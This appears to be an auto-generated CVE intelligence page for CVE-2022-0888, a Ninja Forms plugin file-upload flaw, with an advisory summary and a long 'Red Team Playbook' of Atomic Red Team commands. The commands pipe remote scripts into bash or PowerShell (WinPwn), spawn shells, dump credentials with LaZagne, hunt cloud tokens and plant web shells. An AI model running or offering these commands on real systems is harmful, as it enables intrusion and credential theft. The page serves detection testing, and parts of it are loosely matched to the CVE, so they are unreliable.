CVE-2022-0888
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types in the Ninja Forms - File Uploads WordPress plugin. The root cause lies in the inadequate filtering logic within the ~/includes/ajax/controllers/uploads.php component, which fails to properly restrict file extensions or MIME types. This allows malicious files to bypass validation controls and be stored on the server.
Vulnerability Description
The Ninja Forms - File Uploads Extension WordPress plugin is vulnerable to arbitrary file uploads due to insufficient input file type validation found in the ~/includes/ajax/controllers/uploads.php file which can be bypassed making it possible for unauthenticated attackers to upload malicious files that can be used to obtain remote code execution, in versions up to and including 3.3.0
Impact
An unauthenticated attacker can exploit this vulnerability to upload malicious files, potentially leading to remote code execution on the affected server. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling remote attackers to execute arbitrary code with the privileges of the web server. This can result in full system compromise, data theft, or service disruption, severely impacting the confidentiality, integrity, and availability of the hosting environment.
Solution
Users should upgrade the Ninja Forms - File Uploads Extension to a version later than 3.3.0 where this vulnerability is patched. Detailed remediation instructions and patch availability are documented in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/f00eeaef-f277-481f-9e18-bf1ced0015a0. Applying the official update is the recommended mitigation; no alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Ninja Forms - File Uploads Extension for WordPress arises from inadequate validation of input file types, specifically within the uploads controller of the plugin. This flaw allows unauthenticated users to bypass security measures and upload arbitrary files, including potentially malicious scripts. The lack of stringent checks on the file types means that attackers can exploit this weakness to upload files that the system does not expect or permit, leading to severe consequences such as remote code execution. The vulnerability is particularly critical as it affects versions up to and including 3.3.0, which are widely used in various WordPress installations.
Attack vectors for this vulnerability are straightforward, as they do not require any form of authentication. An attacker can craft a request to the vulnerable endpoint, bypassing any intended restrictions by manipulating the file upload process. For instance, they could upload a PHP shell disguised as an image file. Once the malicious file is successfully uploaded, the attacker can execute arbitrary code on the server, gaining unauthorized access to the underlying system. This could lead to further exploitation, such as data exfiltration, website defacement, or the installation of additional malware. The simplicity of the attack makes it particularly dangerous, as it can be executed by individuals with minimal technical expertise.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on the Ninja Forms plugin for handling file uploads. Successful exploitation can lead to unauthorized access to sensitive data, loss of customer trust, and potential legal ramifications if data breaches occur. Additionally, the compromised server could be used as a launching point for further attacks, affecting not only the immediate victim but also other interconnected systems. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation to mitigate associated risks.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Ninja Forms plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security audits and penetration testing to identify and address potential weaknesses in their systems. Furthermore, implementing strict file type validation and limiting file upload capabilities to trusted users can significantly reduce the risk of exploitation.
In conclusion, the vulnerability in the Ninja Forms - File Uploads Extension represents a significant threat to WordPress installations that utilize this plugin. Its potential for arbitrary file uploads and remote code execution poses substantial risks to businesses, necessitating immediate attention to detection and mitigation strategies. By prioritizing security best practices, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and confidentiality of their data.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ninjaforms | Ninja Forms File Uploads | All |
cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-0888 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f00eeaef-f277-481f-9e18-bf1ced0015a0?source=cve |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/Xib3rR4dAr/5f0accbbfdee279c68ed144da9cd8607 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0888 |